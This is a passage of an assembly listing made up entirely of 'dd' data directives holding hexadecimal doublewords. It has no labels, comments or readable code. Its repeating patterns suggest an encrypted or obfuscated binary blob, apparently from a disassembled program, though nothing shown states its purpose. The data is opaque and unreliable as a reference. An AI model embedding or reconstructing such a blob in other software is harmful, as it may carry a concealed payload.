		dd 0F994922Dh, 0AE549326h, 5CCE130Fh, 80949232h, 9A549279h
		dd 0C34E130Fh, 0BA54932Ah, 156E130Dh, 0A46E1333h, 0E00E1335h
		dd 0E873CF47h, 20F3CF4Dh, 8EEE2E62h, 4ADB95F6h,	249451C0h
		dd 161451C3h, 0DD145186h, 6DB3B0B5h, 5AB3B057h,	0FFB4518Eh
		dd 93F3B07Eh, 0B093B0F0h, 27B4512Ah, 0EE73B061h, 37B3B0F1h
		dd 445451A5h, 0C1D3B0B8h, 8173B04Bh, 16FB95D1h,	0F1FB92C1h
		dd 1EFB95D1h, 5633B02Ah, 0CA1B927Ch, 24B3B070h,	711B91B1h
		dd 0F91B91B6h, 29B91B6h, 76FB928Ch, 0AE93CF4Dh,	6E13B0EEh
		dd 18B45192h, 0B313B0B4h, 0A053B0E5h, 0B253D080h, 7CD3B076h
		dd 57AD5EABh, 8CACCED2h, 513AD597h, 3486003Ch, 57AD5EA7h
		dd 0BFACCED2h, 0F8A7595Ch, 0C16600BBh, 0E2F4519Ch, 8354519Ch
		dd 42B3B044h, 57AD5EA6h, 5CACCED2h, 5E125F80h, 16460045h
		dd 0CCD451E3h, 4BDB9146h, 9694511Fh, 42FB91BAh,	57AD5EA6h
		dd 25ACCED2h, 9F4C51A5h, 40260045h, 88D3CF47h, 13B044h
		dd 0A91B91B6h, 17DB91B3h, 3713B0FCh, 57AD5EA7h,	3FACCED2h
		dd 5DB25660h, 2E060045h, 70D451A0h, 3653CBE5h, 194E130Eh
		dd 42AE132Fh, 57AD5EA6h, 43ACCED2h, 0C03F3FBEh,	3CE6003Fh
		dd 42B4519Fh, 57AD5EA6h, 0A0ACCED2h, 94F07FCBh,	0FDC5E1E0h
		dd 5514519Ch, 99451F9h,	0EE545C38h, 88549324h, 0F8549325h
		dd 0BA2E2FCFh, 88AE1302h, 7E4E2FBFh, 0D8EE1302h, 7DAE130Fh
		dd 0CE2E1302h, 40EE130Fh, 19EE131Ah, 5193CF4Dh,	0ABF3B0B2h
		dd 660E136Bh, 0F1DB9284h, 94F3B0F4h, 2154512Ah,	67B95E7h
		dd 2373B0B0h, 0FB13B0B6h, 0DC33B047h, 2853B0E9h, 3393B01Bh
		dd 57AD5EA7h, 0CACCED2h, 0B503BF3Eh, 0E1A6003Fh, 0B7EE132Ch
		dd 2A6E1307h, 386E142Ch, 0FE2E1374h, 0C93B0BDh,	3A33B082h
		dd 57AD5EA7h, 37ACCED2h, 0A0AF1540h, 0AF860045h, 96EE130Bh
		dd 7CD3B044h, 57AD5EABh, 0A6ACCED2h, 373FB6CEh,	265E1E4h
		dd 42EE13EAh, 57AD5EA6h, 81ACCED2h, 0F5AA6713h,	824600BBh
		dd 0B2E1421h, 0D2BB9289h, 9F93B04Bh, 42B3B076h,	57AD5EA6h
		dd 9BACCED2h, 0B4AD6820h, 0E526003Fh, 83D3B083h, 37145184h
		dd 57AD5EA7h, 83ACCED2h, 0E41EC3E1h, 18060017h,	9F8E130Fh
		dd 3E1B91B7h, 57AD5EA6h, 9EACCED2h, 0E40C12F6h,	0F0E60017h
		dd 0B06E1367h, 334E1312h, 57AD5EA7h, 69ACCED2h,	61126835h
		dd 7DC600B8h, 0CEE1302h, 0ACE130Ch, 2033B084h, 0B1D3B04Bh
		dd 6F9B95EFh, 2C1B9182h, 7C9B91B1h, 57AD5EABh, 0BCACCED2h
		dd 0AFA7E131h, 0C2A6001Bh, 0EA8E1340h, 86CE2FD7h, 4813CF1Bh
		dd 0D86E13FFh, 686E1428h, 0F86E1340h, 8B8E1301h, 86D49286h
		dd 355B92DEh, 0C63B926Ah, 0C63451C0h, 9C145181h, 31B3B05Fh
		dd 6B745180h, 51B3B045h, 7393B045h, 0D054518Ah,	0DB74517Ch
		dd 0A4945185h, 0FB74518Eh, 0FE53B0AFh, 0EA14517Fh, 6FD3B07Fh
		dd 7253B0F4h, 6833B0F4h, 1073B0BDh, 7273B0F0h, 0DC93B0C2h
		dd 9EF3B058h, 5FF3B05Fh, 0C5D3B0F7h, 2D3B0ECh, 0D8F3B0BEh
		dd 4AD3B0F7h, 0D733B058h, 94518Eh, 1C33B05Fh, 6313B057h
		dd 0E1B4518Eh, 0D6F3B050h, 535B9295h, 0AFFB95EBh, 0E89B9269h
		dd 993B928Ch, 4B53B085h, 18FB928Ch, 592E2FE2h, 0E6E132Eh
		dd 0CCAE136Bh, 0D80E136Eh, 15CE136Eh, 0F63B9290h, 0D7B4517Fh
		dd 2F4517Ch, 5E3451C1h,	4B3451D9h, 8E9B928Ch, 5EDB9284h
		dd 9A3B9284h, 1A3B928Ch, 26DB957Fh, 6B13B061h, 35B45125h
		dd 0BB545186h, 0C2F451A2h, 0B69B9281h, 76FB9281h, 0EBD4519Fh
		dd 0EF54519Fh, 8C73B0BAh, 2774518Ah, 0FBDB95FCh, 8673B06Bh
		dd 0CA5B9269h, 181B928Fh, 0AF1B9289h, 473B95EFh, 0D11B9285h
		dd 40F3B010h, 57AD5EA6h, 0C2ACCED2h, 0D3B293C9h, 7F860017h
		dd 7CD3CF4Dh, 57AD5EABh, 0AACCED2h, 0A531130Bh,	2D66001Bh
		dd 3A33CF4Dh, 57AD5EA7h, 6EACCED2h, 0EEEA24C8h,	5E460017h
		dd 4173CF3Ch, 57AD5EA6h, 19ACCED2h, 1B36E8F4h, 26007Ah
		dd 0A3F3CF40h, 396E1359h, 57AD5EA7h, 0DCACCED2h, 0B025E5E4h
		dd 1806001Bh, 6AE2FD1h,	0AC6E134Ah, 115B9539h, 0BD3B0B5h
		dd 0CCD3B0B5h, 52D3CF4Eh, 8213CFAFh, 473CF6Ch, 0FF93CB23h
		dd 5573B065h, 6073B0B4h, 403B9365h, 57AD5EA6h, 72ACCED2h
		dd 0A878C1C7h, 66E6001Bh, 0CEAE133Ch, 0BE74932Ah, 0D2E1333h
		dd 0E4E2FD6h, 28F3B0F9h, 5EDB9286h, 0D1BB9292h,	813B915Ah
		dd 7CD3CF4Dh, 57AD5EABh, 54ACCED2h, 0A5638C46h,	0B1C6001Bh
		dd 0DCE2FDBh, 116E2FD8h, 59349327h, 813492C0h, 6693B077h
		dd 63B3B082h, 41B3B016h, 0A3B3B045h, 0DD53B082h, 8EB3B0B0h
		dd 3393CF75h, 57AD5EA7h, 0D1ACCED2h, 3D79CB4Dh,	2BA60016h
		dd 410E2FD4h, 57AD5EA6h, 38ACCED2h, 12F14D44h, 0DF8600BCh
		dd 2DCE13FCh, 267492F7h, 325B9142h, 0E453B0FBh,	911451A2h
		dd 0FE3B92C3h, 86F45183h, 6073B044h, 3713D093h,	57AD5EA7h
		dd 74ACCED2h, 3EC994BFh, 0F2660016h, 42EE133Dh,	57AD5EA6h
		dd 0C3ACCED2h, 0C337628Eh, 0BF46003Fh, 0F9AE130Eh, 5FD3B081h
		dd 26F3B046h, 789B9293h, 5EFB9295h, 42FB91BAh, 57AD5EA6h
		dd 34ACCED2h, 0EEA604A2h, 19260017h, 0DCEE142Ch, 3453B063h
		dd 36DB9286h, 57AD5EA7h, 0E2ACCED2h, 11DD9E25h,	0A90600BCh
		dd 0A86E133Eh, 0EF4E1428h, 0B85B9281h, 335B9189h, 57AD5EA7h
		dd 9FACCED2h, 4F2C2B9h,	41E600BCh, 57AD5EA6h, 8FACCED2h
		dd 8AAF06E2h, 0E6C600B8h, 385B928Ch, 36DB92BFh,	57AD5EA7h
		dd 7DACCED2h, 8AC6F7E1h, 0CA600B8h, 0A9DB95EBh,	403B92C3h
		dd 57AD5EA6h, 30ACCED2h, 0CC6BB677h, 4086003Fh,	0DA1B95FAh
		dd 0BF3B0F3h, 7CD3B05Bh, 57AD5EABh, 74ACCED2h, 8B03E159h
		dd 0E26600B8h, 0D573B0F3h, 243B95F8h, 42BB95FCh, 57AD5EA6h
		dd 26ACCED2h, 0CCA10608h, 3246003Fh, 64D3B0FBh,	42B3B078h
		dd 57AD5EA6h, 7BACCED2h, 0D06586D8h, 0B926003Fh, 0B35B92DDh
		dd 2993B0FBh, 205B957Fh, 7C9B95FCh, 57AD5EABh, 58ACCED2h
		dd 0B9D9CA63h, 5406003Fh, 42FB91B8h, 57AD5EA6h,	85ACCED2h
		dd 0C34E059Eh, 57E6003Fh, 9073B0F1h, 9ADB92C0h,	42B3B0EEh
		dd 57AD5EA6h, 0EEACCED2h, 0CE115B2Ah, 0C6003Fh,	40F45180h
		dd 57AD5EA6h, 3DACCED2h, 204D6211h, 41A6003Fh, 3393B0F3h
		dd 57AD5EA7h, 17ACCED2h, 0C359E61Fh, 0E486003Fh, 40F3B0F1h
		dd 57AD5EA6h, 8EACCED2h, 48E3FEB3h, 3866003Eh, 85CE2FD8h
		dd 0B3DB95EDh, 4C9B92DDh, 40F451A2h, 57AD5EA6h,	0C9ACCED2h
		dd 0C39C595Eh, 9346003Fh, 0CC0E2FD4h, 36DB92DDh, 57AD5EA7h
		dd 53ACCED2h, 60F9BFDCh, 1C2600B8h, 0BCFB9524h,	403B915Ah
		dd 57AD5EA6h, 76ACCED2h, 0CE402701h, 9406003Fh,	5FB3B023h
		dd 42B3B041h, 57AD5EA6h, 95ACCED2h, 0F0C7B9F8h,	41E60017h
		dd 57AD5EA6h, 8FACCED2h, 3318CA79h, 0A1C6003Fh,	0C253B023h
		dd 459B957Fh, 9DF3B029h, 307B9182h, 0CCD3B06Ch,	0A7D3B045h
		dd 77D3B0E9h, 0C1DB9281h, 0A29B9157h, 521B95F8h, 36DB9154h
		dd 57AD5EA7h, 9AACCED2h, 0EE5AA300h, 0BA60017h,	947B95CAh
		dd 91F3B046h, 3F13B07Dh, 773B9180h, 7AF3B0ADh, 0D2DB95E5h
		dd 0B7BB95F2h, 553B9157h, 9DB929Dh, 3D53CF7Bh, 57AD5EA6h
		dd 2CACCED2h, 0EC289B4Fh, 11860017h, 5DF3B06Dh,	42B3B046h
		dd 57AD5EA6h, 80ACCED2h
		dd 0E4D80778h, 0B2660017h, 0FD53B0B1h, 42BB95C9h, 57AD5EA6h
		dd 0B6ACCED2h, 0F27D9A35h, 66460017h, 397B9180h, 57AD5EA7h
		dd 0A4ACCED2h, 0B3A7BF37h, 5726003Fh, 0D9B9296h, 3D53B016h
		dd 57AD5EA6h, 0D8ACCED2h, 0D7B1CAEEh, 430600B8h, 42BB951Ch
		dd 57AD5EA6h, 96ACCED2h, 49589F50h, 7CE60001h, 3713B04Ah
		dd 57AD5EA7h, 37ACCED2h, 2A26BF09h, 39C6007Ah, 3A33B04Bh
		dd 57AD5EA7h, 83ACCED2h, 4788565Eh, 97A6003Eh, 3D53B083h
		dd 57AD5EA6h, 4FACCED2h, 31427E4Bh, 0D986007Ah,	42B3B083h
		dd 57AD5EA6h, 74ACCED2h, 26444E4Ah, 4B66007Ah, 7C9B95EFh
		dd 57AD5EABh, 5CACCED2h, 2AD7D632h, 0FF46007Ah,	42BB9141h
		dd 57AD5EA6h, 97ACCED2h, 2FC7FC92h, 0FF26003Fh,	397B9141h
		dd 57AD5EA7h, 0A1ACCED2h, 26F8103Eh, 4B06003Fh,	7CD3B045h
		dd 57AD5EABh, 0EAACCED2h, 2AB67349h, 0E6E6007Ah, 1145196h
		dd 5273CFB6h, 1F53D0A4h, 0C2BB935Ch, 0A39B9358h, 42B3B06Dh
		dd 57AD5EA6h, 0DAACCED2h, 207026C0h, 9FC6003Fh,	3D53B0B1h
		dd 57AD5EA6h, 0DBACCED2h, 3161E7C2h, 68A6007Ah,	335B928Dh
		dd 57AD5EA7h, 7CACCED2h, 209B46F5h, 6C86003Fh, 397B929Ah
		dd 57AD5EA7h, 0CFACCED2h, 23FDA1C3h, 0F366007Ah, 7CD3B06Bh
		dd 57AD5EABh, 55ACCED2h, 0B246362Dh, 1746001Bh,	403B9524h
		dd 57AD5EA6h, 0B1ACCED2h, 0A573D45Bh, 6E26001Bh, 66FB917Dh
		dd 0F11451A8h, 121B95E5h, 42BB9287h, 57AD5EA6h,	7BACCED2h
		dd 20D1BA1Ch, 8306003Fh, 3F33B0EDh, 7C73850Ch, 57AD5EABh
		dd 0ACCED2h, 0CB37070Ah, 0DCE6003Fh, 0CBDB928Dh, 4173CF62h
		dd 57AD5EA6h, 23ACCED2h, 0D7C638F9h, 0AC60017h,	42FB9151h
		dd 57AD5EA6h, 0A4ACCED2h, 1DE41E21h, 9A6003Fh, 0C9FB9297h
		dd 3A33D093h, 57AD5EA7h, 28ACCED2h, 1DDE184Fh, 0C386003Fh
		dd 36DB9157h, 57AD5EA7h, 0A8ACCED2h, 1DE52C75h,	7C66003Fh
		dd 7C9B9157h, 57AD5EABh, 0BAACCED2h, 0DFFC4442h, 2E460017h
		dd 397B91B1h, 57AD5EA7h, 0B2ACCED2h, 1DAE44FBh,	0B626003Fh
		dd 42FB95F2h, 57AD5EA6h, 4ACCED2h, 48D81C3Ch, 1306003Eh
		dd 335B95EFh, 57AD5EA7h, 0B5ACCED2h, 0FCFED773h, 3EE6003Eh
		dd 637B928Bh, 869B928Bh, 397B9288h, 57AD5EA7h, 63ACCED2h
		dd 0CAE839ECh, 5BC60045h, 0FFB929Dh, 1F7B9154h,	7C9B928Ch
		dd 57AD5EABh, 89ACCED2h, 5585B92Ch, 0AEA60045h,	40F3CF82h
		dd 57AD5EA6h, 38ACCED2h, 59846B2Ch, 36ACCEC9h, 0EBF3CF48h
		dd 26F3CF44h, 0EBF45C87h, 29909244h, 0BDEFC6D1h, 0EB3B9293h
		dd 10h dup(0EBF3CF44h),	735BCF44h, 832FDF74h, 0C44C04C5h
		dd 37E5EE2Ah, 90DDA21Dh, 0D3F3CF17h, 0D64ADB2Ch, 0D65EB07Bh
		dd 0BB59CF1Ah, 0D64B3842h, 3 dup(0EBF3CF44h), 3E10CF44h
		dd 0EBF3CF47h, 3 dup(0EBF3CF44h), 26F3CF44h, 0D6D696F0h
		dd 111523E4h, 463B9073h, 2EEDA81h, 6B154805h, 463AB121h
		dd 2EF1A81h, 0B5154805h, 463B90AEh, 2EEE681h, 15154805h
		dd 46F437C0h, 2EA8E81h,	6E154805h, 46F43C26h, 0FFB08281h
		dd 20154804h, 46F43997h, 0FFCAF681h, 5E154804h,	46F439DDh
		dd 0FFDC2A81h, 0E8154804h, 46F438F6h, 0FFDC9E81h, 75154804h
		dd 46F43B6Eh, 0FFCAFA81h, 0F1154804h, 46F43990h, 0FFDC5281h
		dd 0DA154804h, 46F43990h, 0FFCB8681h, 75154804h, 46F43B6Eh
		dd 0FFCAFA81h, 43154804h, 46F43B49h, 0FFCB8A81h, 7C154804h
		dd 46F43603h, 0FF567E81h, 0E1154804h, 463B905Dh, 0FFCAB281h
		dd 88154804h, 46F4371Eh, 0FFFDEE81h, 61154804h,	46F43B6Ah
		dd 0FF566281h, 86154804h, 463AB1ABh, 0FFCB5681h, 54CF3604h
		dd 463BA348h, 0C9A1B781h, 7CCF3612h, 463BA3BDh,	0C6ECFB81h
		dd 0CCFFC12h, 3681CE0Ah, 0F9F3CF48h, 925A4463h,	0F785BFF0h
		dd 0DFB338FBh, 0E93E3776h, 459A7883h, 0BFC08079h, 0B4258061h
		dd 0EBF3CF5Eh, 0E6D13061h, 4DF43991h, 0FFB09F94h, 64819304h
		dd 8FF43BFDh, 20C2619Ah, 0D689A926h, 42B1E1F5h,	0C6ED84B0h
		dd 0E637D312h, 41DD074Eh, 0AFACCF47h, 0E93E377Bh, 0F0541024h
		dd 0BDB0BFF3h, 0E99403BFh, 4F3CF11h, 3DC347BFh,	0AFACCF47h
		dd 0E93E377Bh, 0F0541024h, 0BDB0BFF3h, 0BCAD03BFh, 33A25A65h
		dd 0FFB08229h, 2DA2D804h, 0A22D45BBh, 0EB951F29h, 20C77F44h
		dd 0AFBF997Ah, 0E93E3777h, 0D5970EC6h, 0B5F4519Ch, 37CA80BEh
		dd 39984E6Bh, 0C9A710B1h, 5D97D912h, 40953729h,	62A01547h
		dd 3DFF300Bh, 0C9A710B0h, 37DC0312h, 3BCF800Bh,	0E93E3743h
		dd 89C9AD41h, 0EFB7E64Ah, 723756Eh, 0EB2E1480h,	61F3B74Bh
		dd 65BDCB23h, 0B7D7E1BFh, 5AE2F079h, 0B555F3F9h, 9EAAA1Eh
		dd 29970E0Ch, 642E130Dh, 4090A3A1h, 8C488947h, 63566DC1h
		dd 3622D607h, 0EBF492CEh, 0D35E76FEh, 0B1C528D5h, 0EB43156Dh
		dd 5F553D52h, 0DF5300Bh, 0BF210001h, 5AE2F079h,	0B555F3F9h
		dd 0F9E3AA1Eh, 4D10A6CDh, 12A7A48Fh, 86285188h,	95FE5432h
		dd 0AAA5AA0Ah, 0EB5DFD1Eh, 0A7DA7F44h, 0D586E51Eh, 0A9AEB744h
		dd 0B1F8CF44h, 0EBF3DED9h, 9057F734h, 9B583E34h, 0EBF4394Dh
		dd 0DFAFAA6Eh, 3DD67390h, 0B3F3CF17h, 0EB3B9520h, 41D6756Eh
		dd 1B2E132Ch, 0F19E8552h, 55318692h, 0B3F3CB23h, 0EBF45BAFh
		dd 0D35E76FEh, 0FC9ACDD5h, 0A9CA7B07h, 0C02DCF44h, 0FEB613BAh
		dd 3526CE4Bh, 6D03CF48h, 5FC70E6Dh, 40F3CB23h, 0C6ED84B0h
		dd 7C654812h, 0D4F43B3Ah, 53F87374h, 43FF3A59h,	14F43998h
		dd 0EB94A750h, 4F3F7F44h, 0E9D69AFEh, 0B4AD5D3Fh, 0EBF3DE1Fh
		dd 5A198A34h, 0F9DF0E3Ch, 40860308h, 3DBCA3E2h,	5176C5A6h
		dd 0A4984E45h, 3DACB0BDh, 0D9F8B437h, 0F19E838Eh, 3EC51F1Eh
		dd 0EBF3C4E2h, 0CF388944h, 0B1434CDDh, 0B38FB974h, 3E10DB17h
		dd 0EBF3C74Fh, 78A77F44h, 3E039917h, 2EF1AE0h, 75819305h
		dd 3EF43B3Ah, 0B4D9E7D0h, 0E9906FB6h, 0AFDAB71Bh, 675BCF44h
		dd 1BF451A4h, 9531842Dh, 0B4AD5E26h, 3E11399Fh,	0DBF8FB37h
		dd 2EF1818h, 75819305h,	0EBF43B3Ah, 0B4B12D19h,	0E9906FB6h
		dd 2103B71Bh, 0D350CF4Bh, 0EBF3CF1Ah, 578D74A7h, 6CB0A48Fh
		dd 0E9F54410h, 0C92BC6F1h, 5478AA07h, 0DCD6721Bh, 0F92E1337h
		dd 0A140E109h, 43AB5A38h, 0AFBEAA4Ah, 0E93E3777h, 3AA2D20Fh
		dd 7997DCCCh, 95F8C934h, 0D64B4003h, 355EFA44h,	0F92E138Ah
		dd 14866BA8h, 1F8AEBBCh, 51039911h, 0C9A731A4h,	0A06A9312h
		dd 0D9CC0F89h, 1197DD1Dh, 0F7577BEAh, 0F5BE5D14h, 0E45104D9h
		dd 5FE7311Eh, 0EB94D3AAh, 0AFACCF44h, 0E93E377Bh, 0AE01F824h
		dd 0C5B1A3ACh, 52C24BB4h, 402E1330h, 0C6ED84B0h, 7C374E12h
		dd 0A9CBE4A7h, 0C9A710ADh, 82FBD12h, 4063C213h,	374E5EA6h
		dd 92600318h, 0C5C2B84Eh, 0EBF45C12h, 93FC368Ah, 7E9F1513h
		dd 8D2ACF1Ch, 33D2E610h, 0F9F3CF48h, 40424463h,	0CE7CBFC2h
		dd 0C9BB46B2h, 0EBF438E8h, 334E16F7h, 430BCF48h, 40F3CF47h
		dd 0C6ED89E5h, 0E185D312h, 0E93E33DBh, 0CFB2FFE6h, 0E93DDB2Ah
		dd 4D11401Ah, 83DDA48Fh, 0A9EE5AEFh, 0EB2E1359h, 5789127Bh
		dd 0E395A48Fh, 2EEE4F4h, 45D04E05h, 0B8C531FAh,	0EB2E137Bh
		dd 58B8BA7Bh, 0CFB0A48Fh, 0E9F54408h, 81CC6B0Eh, 0EBF45CFEh
		dd 577521A7h, 41E6A48Fh, 0BB5B95A8h, 4066A84Dh,	0E1BBCF47h
		dd 9473C0E5h, 2CB67E9Ah, 0EBF4932Bh, 0EFBAFF2Ch, 0EBF3B0ADh
		dd 0EFE4A72Ch, 0EB2E1370h, 0EFE4A72Ch, 0EB2E133Dh, 0E4A72Ch
		dd 3E10DC47h, 0AF3913F4h, 58235CB2h, 1D5F8A04h,	8BF3CF4Bh
		dd 83E8988Eh, 0F797E4Ah, 0E18368F0h, 0D041F45Ah, 0E7010347h
		dd 41D05BEDh, 0EBF3CF47h, 0EBF3CF44h, 2A37B444h, 0EBF75AEDh
		dd 0DFBDCF44h, 23344h, 2A484805h, 9CF438F2h, 0BBD63AB5h
		dd 84F3CF4Bh, 2B45FDE3h, 0CCC1519Ch, 0C94E4C77h, 71029312h
		dd 2F4F9589h, 13115953h, 0F5C54B43h, 335D701Eh,	0F9F3CF48h
		dd 0A2224463h, 0CFB0BFF7h, 0E93DE726h, 2CBF5CE6h, 0EBF45C79h
		dd 8B514BABh, 4B42CE6Ah, 59131CEBh, 2BF6A48Fh, 0D64B3B29h
		dd 80F95A44h, 8CD9DD65h, 0E93E370Dh, 3E5E87A8h,	367B5C2Ch
		dd 3E94B796h, 92F75C2Ch, 5FC76A91h, 0A1D3507Bh,	59131D88h
		dd 20ADA48Fh, 76F3CF4Bh, 0EBF45C49h, 215199ABh,	8FEB9C87h
		dd 574D1F2Dh, 852A48Fh,	1CB2E5ADh, 0E93E5633h, 0FC2B9491h
		dd 0EBF3CF4Ch, 0F9D089A4h, 8D0B871Fh, 8D1C8FACh, 0EBF49260h
		dd 0BDD36184h, 0E67CB99Fh, 93AA75Bh, 545A6338h,	8BF3CB23h
		dd 0D1A24C8Eh, 0C149F45Ah, 0A849F45Ah, 0AB2E1376h, 4291AA73h
		dd 5B652349h, 28F3ED81h, 4C05CF63h, 78B2FB09h, 0CEB69D44h
		dd 0FC292A22h, 0E5FEF226h, 0EBF3CF4Bh, 3E2D75E3h, 5B53A242h
		dd 0E8E7CA75h, 0AFACC2E6h, 0BBA71687h, 5ECB979Dh, 505EC21Fh
		dd 52FFB9A4h, 0B6343630h, 0FA68F349h, 239D59C4h, 0A3F8B4B4h
		dd 5826973Bh, 9CF2B2Eh,	40826E03h, 29F2FE7Ch, 0F679BCFFh
		dd 2 dup(0F37F1044h), 78632F44h, 0F679BC3Bh, 0F37F1044h
		dd 78632F44h, 0F679BC3Bh, 0F37F1044h, 78632F44h, 0F679BC3Bh
		dd 4 dup(0F37F1044h), 78632F44h, 0D1675C3Bh, 24E9C8A9h
		dd 0A622C0D0h, 0C44F1F94h, 24E9CDF7h, 0A42EC0D0h, 0C44F1F94h
		dd 2500A72Eh, 0A09AC0D0h, 0C44F1F94h, 24E9C9B6h, 0A9F2C0D0h
		dd 0C44F1EF3h, 2500A765h, 0B1BEC0D0h, 0C44F1F94h, 24E9C8EAh
		dd 25D6C0D0h, 0C44F1F9Dh, 250196E6h, 0A782C0D0h, 0C44F1F94h
		dd 2501966Fh, 0A6FAC0D0h, 0C44F1F94h, 24E9CA78h, 0A926C0D0h
		dd 0C44F1F94h, 24E9C791h, 0C7D2C0D0h, 0C44F1F94h, 24E9E7FAh
		dd 0A71EC0D0h, 0C44F1F94h, 25019F73h, 0A60AC0D0h, 0B98B1F94h
		dd 0F505856Ah, 186BFB1Dh, 6019A78Bh, 0F37F1045h, 81293D6Eh
		dd 2D511D2Ah, 0F67A9808h, 8E941044h, 0EA1AE310h, 57F39DBCh
		dd 0F37F104Ch, 0D03626C1h, 78634AFDh, 46678F3Bh, 1442CA90h
		dd 5F22F999h, 0BEDAE20Dh, 1A3120F0h, 0E4A2F2Ah,	678D9812h
		dd 9459811h, 0C91E1046h, 25705A1h, 0E7D578A9h, 32BB18FEh
		dd 0F67A9808h, 92D1044h, 0F505854Ah, 87D01723h,	67809C51h
		dd 25012FB2h, 0AB5AC566h, 0BE25778Ah, 5511EABh,	0B6A48850h
		dd 0D18576EBh, 93164E09h, 573D9769h, 6273723h, 0BE257788h
		dd 5511EABh, 55E28850h,	0D18576F6h, 93164E09h, 653D9769h
		dd 78847670h, 6CCA013Ch, 6D6577AEh, 9DAB4E6h, 186BFBDCh
		dd 6019A78Bh, 0F37F1045h, 0C1293D6Eh, 51511D1Ch, 76979881h
		dd 6D36373Ch, 0F37F1051h, 5CDBBCC2h, 675B4B44h,	0F263CC78h
		dd 212AEE72h, 0F23BD9F4h, 0BDF62AC0h, 5511EABh,	2A726950h
		dd 40AA9F59h, 3903E0ECh, 5EA71CFCh, 7B6B192Bh, 0C42700FDh
		dd 0C4058579h, 7F9F23BFh, 0DB585C2Ch, 597F104Eh, 301B9565h
		dd 8D85010Ah, 3CFE3B10h, 0DB79CF7Fh, 657F104Eh,	3F4CBE06h
		dd 0B6807BD3h, 0EFAAB097h, 213651EAh, 0F23BD9F4h, 0BDF62AC0h
		dd 5511EABh, 2A726950h,	0B0AA9F59h, 3903E0CFh, 5EA71CFCh
		dd 7B6B192Bh, 0C42700FDh, 0C4058579h, 7F9F23BFh, 8D855C2Ch
		dd 3CFE3B10h, 0DB79CF7Fh, 9F7F104Eh, 0E852FEDDh, 411C8D96h
		dd 8C8A8FDFh, 0F67A9947h, 4862F3C4h, 0F5181ECAh, 861B144h
		dd 5A88104Fh, 7416E1CFh, 0F37F103Ch, 9F824AC4h,	0BBDB8CB4h
		dd 660CE95Fh, 10BB187Ah, 678CBD9Ah, 9459811h, 0C91E10EAh
		dd 25705A1h, 0E7D578A9h, 32BB18FEh, 0F67A9808h,	0F6531044h
		dd 0AD722415h, 0E56C369Dh, 80E59330h, 737F10B8h, 5853730Bh
		dd 0F37F319Ch, 0F5058129h, 811D2744h, 0D99705F2h, 927F10B8h
		dd 2FB24A76h, 40969B6Ch, 5EA71C56h, 7B6B192Bh, 0C42700FDh
		dd 0C4058579h, 7F9F23BFh, 8D855C2Ch, 3CFE3B10h,	0DB79CF7Fh
		dd 9F7F104Eh, 0F8A2932Ch, 4AB90B7h, 0D368E6BFh,	93164E3Ah
		dd 653D9769h, 684E7618h, 25012FB2h, 0D784C566h,	5EA71C5Ah
		dd 7B6B192Bh, 0C42700FDh, 0C4058579h, 7F9F23BFh, 8D855C2Ch
		dd 3CFE3B10h, 0DB79CF7Fh, 4B7F104Eh, 0F37F10B7h, 73A4BE5Fh
		dd 0ACF30E55h, 0BE25778Ah, 5511EABh, 6FE58050h,	0B5C6B2B3h
		dd 7D66DB3Fh, 0B9F8444h, 788764E9h, 6CCA013Ch, 6D6577AEh
		dd 9DAB4E6h, 186BFBDCh,	0C919A78Bh, 76979886h, 6D36373Ch
		dd 0F37F1051h, 712FD488h, 7D628692h, 0AAA6933Bh, 67809723h
		dd 25012FB2h, 35A8C566h, 87882304h, 6568E602h, 0C0854C54h
		dd 1E941533h, 0E347FD60h, 47893DB8h, 0BC7F4086h, 4ACDF0BCh
		dd 0B69B4D8Dh, 0F679BC33h, 4976AC44h, 16148290h, 0A0B9F399h
		dd 0D368DAE4h, 93164ECAh, 0DD2F9769h, 43A550DCh, 0AF37D73Ch
		dd 59E1FB4Fh, 0B074A02Ch, 525C7BB4h, 1206F3BCh,	4B2DE805h
		dd 30AC5BFDh, 7BE1FBACh, 3FA37BA2h, 0B829F361h,	8834A142h
		dd 6F995EF6h, 84F9FA87h, 93406891h, 7548022Fh, 0BA173229h
		dd 3298D1DAh, 0A77DFF76h, 0C491FC7Eh, 0CFDE3A8h, 0D1C684Dh
		dd 0C88606EBh, 0D69C3F99h, 86271EB5h, 24A2B22Ah, 4EA5F37Ch
		dd 28025DC9h, 4E4C5A23h, 4E2801CCh, 0A5D61BD4h,	0A71D7A50h
		dd 0C19CD28Ch, 0B5B2E469h, 0B63C5A1Bh, 52C297C3h, 6194DEEEh
		dd 12038A1Fh, 0BF6E7B24h, 0B64F1A69h, 3CA5F374h, 2DF09647h
		dd 809BD22Ch, 6E18119Ch, 976AFA40h, 0B8D62227h,	934068A8h
		dd 7548022Fh, 0F1ED3229h, 0BEA9D12Ah, 0B5B2E469h, 0B63C5A1Bh
		dd 52C297C3h, 6194DEEEh, 0A9038A1Fh, 3CA5F360h,	9250205Bh
		dd 7627FF98h, 3FA37BA2h, 0D76CF361h, 86271EB5h,	1E2B4489h
		dd 3DBA1CE2h, 34465F61h, 3DECB4E2h, 0BC975F61h,	3C555BE1h
		dd 0BD6C5F61h, 3CFB86E1h, 0CADF5F61h, 3CA4E4C7h, 36075F61h
		dd 3DBA17C8h, 892F0461h, 6298F375h, 3220127Ch, 0EF08688Eh
		dd 0BF840231h, 68675CDFh, 0B7567C99h, 8AFC7BB4h, 24A354B4h
		dd 633A2FCFh, 49A3B878h, 8227FF9Ch, 29EB6CC1h, 754802C9h
		dd 2CFDE346h, 3FA355C0h, 93E1AC4Ah, 28387BD6h, 6E188257h
		dd 1A9F0C94h, 4E27FF47h, 0B65472D4h, 3E01B4A3h,	86201261h
		dd 30A5AC42h, 1BFBC0ADh, 28605E36h, 6E12D02Ch, 45BFFA40h
		dd 3E19404Ah, 0B1DAF361h, 525C7BB4h, 486FF3BCh,	0D3A5F2BEh
		dd 3CA5F2F2h, 8B9F08D2h, 44A5F375h, 3CA5F30Eh, 21172090h
		dd 9A280105h, 4850E3B5h, 0E3DA73E2h, 3F9A6FC7h,	0B55EF361h
		dd 0C66BA598h, 99D67842h, 47A39F34h, 3FA356B9h,	0A29CCA59h
		dd 57089037h, 93ED6ACEh, 51A1FE11h, 8D8562ADh, 77FC58AAh
		dd 3E18AA00h, 0E09BE6A2h, 35A5F378h, 0C4FE56C7h, 3CA5F3AEh
		dd 3E00E409h, 0CE3E3A61h, 99DC8E52h, 0BD5BF2B8h, 9A9EA46Bh
		dd 49F3E43Eh, 0DC05F361h, 0A22DF7A9h, 3CA5F379h, 0DAA56147h
		dd 5BE4B3ABh, 4F291D82h, 7411F542h, 2891C779h, 54249D47h
